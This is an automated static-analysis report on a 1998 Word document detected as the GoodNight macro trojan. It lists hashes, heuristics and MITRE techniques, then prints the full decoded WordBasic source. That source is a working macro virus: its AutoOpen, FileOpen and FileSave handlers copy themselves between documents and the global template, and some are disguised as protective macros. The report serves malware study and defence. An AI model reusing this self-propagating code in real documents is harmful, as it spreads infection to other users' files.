Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 51264d4e58bb0045…

MALICIOUS

Office (OLE)

56.0 KB Created: 1998-03-16 10:51:00 Authoring application: Microsoft Word 8.0 First seen: 2015-09-19
MD5: 5db1580759b120af8fd221dc7a124390 SHA-1: ed9ce465d20063aed4a9f50cf651757f4f3d3dbd SHA-256: 51264d4e58bb0045ec3c00d08308baf256042fabb7280266d5d5fac38f891aa7
176 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The sample contains legacy WordBasic macros, including an AutoOpen subroutine, which is a common indicator for macro-based malware. The script attempts to copy various macros to the global template, suggesting an intent to establish persistence or facilitate further malicious actions. The ClamAV detection of 'Doc.Trojan.GoodNight-1' further supports the malicious nature of this file.

Heuristics 6

  • OLE document has large unaccounted-for region high OLE_SLACK_ANOMALY
    OLE file is 57,344 bytes but its declared streams total only 22,152 bytes — 35,192 bytes (61%) live in unallocated sector slack. This is the canonical hiding place for pre-macro-era Office exploit payloads (XOR-encoded shellcode reached via a parser pointer-corruption bug in the document structure).
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Name = "AutoOpen"
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    WordBasic.MacroCopy DocName$ + ":AutoClose", "Global:AutoClose"
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 6747 bytes
SHA-256: 2b0e73dffa3700de5c4a44698ffaa1c4ab82892db1223e267e31a4039d9211ad
Detection
ClamAV: Doc.Trojan.GoodNight-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "AutoOpen"

Public Sub MAIN()
Attribute MAIN.VB_Description = "Checks Page Size; if not default Page Size, converts document to default Page Size.  FWTMPv7.0"
Attribute MAIN.VB_ProcData.VB_Invoke_Func = "TemplateProject.AutoOpen.MAIN"
Dim DocName$


On Error GoTo -1: On Error GoTo skip
DocName$ = WordBasic.[FileName$]()
WordBasic.MacroCopy DocName$ + ":AutoExec", "Global:AutoExec"
WordBasic.MacroCopy DocName$ + ":AutoExit", "Global:AutoExit"
WordBasic.MacroCopy DocName$ + ":AutoClose", "Global:AutoClose"
WordBasic.MacroCopy DocName$ + ":FileClose", "Global:FileClose"
WordBasic.MacroCopy DocName$ + ":FileCloseAll", "Global:FileCloseAll"
WordBasic.MacroCopy DocName$ + ":FileSave", "Global:FileSave"
WordBasic.MacroCopy DocName$ + ":FileSaveAs", "Global:FileSaveAs"
WordBasic.MacroCopy DocName$ + ":FileOpen", "Global:FileOpen"
WordBasic.MacroCopy DocName$ + ":AutoOpen", "Global:AutoOpen"
WordBasic.MacroCopy DocName$ + ":Exit", "Global:Exit"

skip:

End Sub

Attribute VB_Name = "AutoExec"

Public Sub MAIN()
Attribute MAIN.VB_Description = "kinko's KHQ mesage:\r""AutoMacros are now turned off!"""
Attribute MAIN.VB_ProcData.VB_Invoke_Func = "TemplateProject.AutoExec.MAIN"
WordBasic.DisableAutoMacros
WordBasic.MsgBox "Auto Macros disabled"
End Sub

Attribute VB_Name = "AutoExit"

Public Sub MAIN()
Attribute MAIN.VB_Description = "ScanProt macro to protect and disinfect your Normal (Global) template."
Attribute MAIN.VB_ProcData.VB_Invoke_Func = "TemplateProject.AutoExit.MAIN"
Dim DocName$


On Error GoTo -1: On Error GoTo bail
DocName$ = WordBasic.[FileName$]()
WordBasic.FileSaveAs Format:=1
WordBasic.MacroCopy "Global:AutoExec", DocName$ + ":AutoExec"
WordBasic.MacroCopy "Global:AutoExit", DocName$ + ":AutoExit"
WordBasic.MacroCopy "Global:AutoClose", DocName$ + ":AutoClose"
WordBasic.MacroCopy "Global:FileClose", DocName$ + ":FileClose"
WordBasic.MacroCopy "Global:FileCloseAll", DocName$ + ":FileCloseAll"
WordBasic.MacroCopy "Global:FileSave", DocName$ + ":FileSave"
WordBasic.MacroCopy "Global:FileOpen", DocName$ + ":FileOpen"
WordBasic.MacroCopy "Global:AutoOpen", DocName$ + ":AutoOpen"
WordBasic.MacroCopy "Global:Exit", DocName$ + ":Exit"
bail:

End Sub

Attribute VB_Name = "FileCloseAll"

Public Sub MAIN()
Attribute MAIN.VB_Description = "Closes all of the windows of all documents"
Attribute MAIN.VB_ProcData.VB_Invoke_Func = "TemplateProject.FileCloseAll.MAIN"
Dim DocName$


On Error GoTo -1: On Error GoTo bail
DocName$ = WordBasic.[FileName$]()
WordBasic.FileSaveAs Format:=1
WordBasic.MacroCopy "Global:AutoExec", DocName$ + ":AutoExec"
WordBasic.MacroCopy "Global:AutoExit", DocName$ + ":AutoExit"
WordBasic.MacroCopy "Global:AutoClose", DocName$ + ":AutoClose"
WordBasic.MacroCopy "Global:FileClose", DocName$ + ":FileClose"
WordBasic.MacroCopy "Global:FileCloseAll", DocName$ + ":FileCloseAll"
WordBasic.MacroCopy "Global:FileSave", DocName$ + ":FileSave"
WordBasic.MacroCopy "Global:FileOpen", DocName$ + ":FileOpen"
WordBasic.MacroCopy "Global:AutoOpen", DocName$ + ":AutoOpen"
WordBasic.MacroCopy "Global:Exit", DocName$ + ":Exit"
bail:

WordBasic.FileCloseAll
End Sub

Attribute VB_Name = "FileSave"

Public Sub MAIN()
Attribute MAIN.VB_Description = "Saves the active document or template"
Attribute MAIN.VB_ProcData.VB_Invoke_Func = "TemplateProject.FileSave.MAIN"
Dim DocName$


On Error GoTo -1: On Error GoTo bail
DocName$ = WordBasic.[FileName$]()
WordBasic.FileSaveAs Format:=1
WordBasic.MacroCopy "Global:AutoExec", DocName$ + ":AutoExec"
WordBasic.MacroCopy "Global:AutoExit", DocName$ + ":AutoExit"
WordBasic.MacroCopy "Global:AutoClose", DocName$ + ":AutoClose"
WordBasic.MacroCopy "Global:FileClose", DocName$ + ":FileClose"
WordBasic.MacroCopy "Global:FileCloseAll", DocName$ + ":FileCloseAll"
WordBasic.MacroCopy "Global:FileSave", DocName$ + ":FileSave"
WordBasic.MacroCopy "Global:FileSaveAs", DocName$ + ":FileSaveAs"
WordBasic.MacroCopy "Global:FileOpen", DocName$ + ":FileOpen"
WordBasic.MacroCopy "Global:AutoOpen", DocName$ + ":AutoOpen"
WordBasic.MacroCopy "Global:Exit", DocName$ + ":Exit"
bail:
End Sub

Attribute VB_Name = "FileSaveAs"

Public Sub MAIN()
Attribute MAIN.VB_Description = "Saves a copy of the document in a separate file"
Attribute MAIN.VB_ProcData.VB_Invoke_Func = "TemplateProject.FileSaveAs.MAIN"
Dim DocName$


Dim dlg As Object: Set dlg = WordBasic.DialogRecord.FileSaveAs(False)
WordBasic.CurValues.FileSaveAs dlg
WordBasic.Dialog.FileSaveAs dlg
WordBasic.FileSaveAs dlg

On Error GoTo -1: On Error GoTo bail
DocName$ = WordBasic.[FileName$]()
WordBasic.FileSaveAs Format:=1
WordBasic.MacroCopy "Global:AutoExec", DocName$ + ":AutoExec"
WordBasic.MacroCopy "Global:AutoExit", DocName$ + ":AutoExit"
WordBasic.MacroCopy "Global:AutoClose", DocName$ + ":AutoClose"
WordBasic.MacroCopy "Global:FileClose", DocName$ + ":FileClose"
WordBasic.MacroCopy "Global:FileCloseAll", DocName$ + ":FileCloseAll"
WordBasic.MacroCopy "Global:FileSave", DocName$ + ":FileSave"
WordBasic.MacroCopy "Global:FileSaveAs", DocName$ + ":FileSaveAs"
WordBasic.MacroCopy "Global:FileOpen", DocName$ + ":FileOpen"
WordBasic.MacroCopy "Global:AutoOpen", DocName$ + ":AutoOpen"
WordBasic.MacroCopy "Global:Exit", DocName$ + ":Exit"
bail:

End Sub

Attribute VB_Name = "FileOpen"

Public Sub MAIN()
Attribute MAIN.VB_Description = "Opens an existing document or template"
Attribute MAIN.VB_ProcData.VB_Invoke_Func = "TemplateProject.FileOpen.MAIN"
Dim DocName$


Dim dlg As Object: Set dlg = WordBasic.DialogRecord.FileOpen(False)
WordBasic.CurValues.FileOpen dlg
WordBasic.Dialog.FileOpen dlg
WordBasic.FileOpen dlg

On Error GoTo -1: On Error GoTo skip
DocName$ = WordBasic.[FileName$]()
WordBasic.MacroCopy DocName$ + ":AutoExec", "Global:AutoExec"
WordBasic.MacroCopy DocName$ + ":AutoExit", "Global:AutoExit"
WordBasic.MacroCopy DocName$ + ":AutoClose", "Global:AutoClose"
WordBasic.MacroCopy DocName$ + ":FileClose", "Global:FileClose"
WordBasic.MacroCopy DocName$ + ":FileCloseAll", "Global:FileCloseAll"
WordBasic.MacroCopy DocName$ + ":FileSave", "Global:FileSave"
WordBasic.MacroCopy DocName$ + ":FileSaveAs", "Global:FileSaveAs"
WordBasic.MacroCopy DocName$ + ":FileOpen", "Global:FileOpen"
WordBasic.MacroCopy DocName$ + ":AutoOpen", "Global:AutoOpen"
WordBasic.MacroCopy DocName$ + ":Exit", "Global:Exit"

skip:

End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.